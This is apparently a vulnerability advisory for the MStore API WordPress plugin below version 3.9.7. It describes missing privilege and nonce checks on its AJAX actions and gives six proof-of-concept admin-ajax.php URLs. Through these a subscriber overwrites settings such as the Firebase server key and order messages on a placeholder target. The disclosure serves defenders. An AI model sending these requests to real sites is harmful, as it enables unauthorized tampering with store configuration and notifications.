MStore API < 3.9.7 - Subscriber+ Unauthorized Settings Update

2023-06-1900:00:00

Truoc Phan

mstore api

unauthorized settings update

woocommerce

subscriber

target server

exploit

administrator

ajax.

0.001 Low

EPSS

Percentile

23.3%

JSON

The plugin does not secure most of its AJAX actions by implementing privilege checks, nonce checks, or a combination of both.

Make sure the site also has WooCommerce installed and activated, then, while logged-in as a subscriber, visit the following URLs:

- http://TARGET-SERVER/wp-admin/admin-ajax.php?action=mstore_update_limit_product&limit=99
- http://TARGET-SERVER/wp-admin/admin-ajax.php?action=mstore_update_firebase_server_key&serverKey=hacked
- http://TARGET-SERVER/wp-admin/admin-ajax.php?action=mstore_update_new_order_title&title=1337
- http://TARGET-SERVER/wp-admin/admin-ajax.php?action=mstore_update_new_order_message&message=hacked+message
- http://TARGET-SERVER/wp-admin/admin-ajax.php?action=mstore_update_status_order_title&title=1338
- http://TARGET-SERVER/wp-admin/admin-ajax.php?action=mstore_update_status_order_message&message=hacked+message

Then, while logged-in as an administrator, visit /wp-admin/admin.php?page=mstore-plugin, and notice how the attacks have changed all the values.

0.001 Low

EPSS

Percentile

23.3%

JSON

Related for WPEX-ID:970735F1-24BB-441C-89B6-5A0959246D6C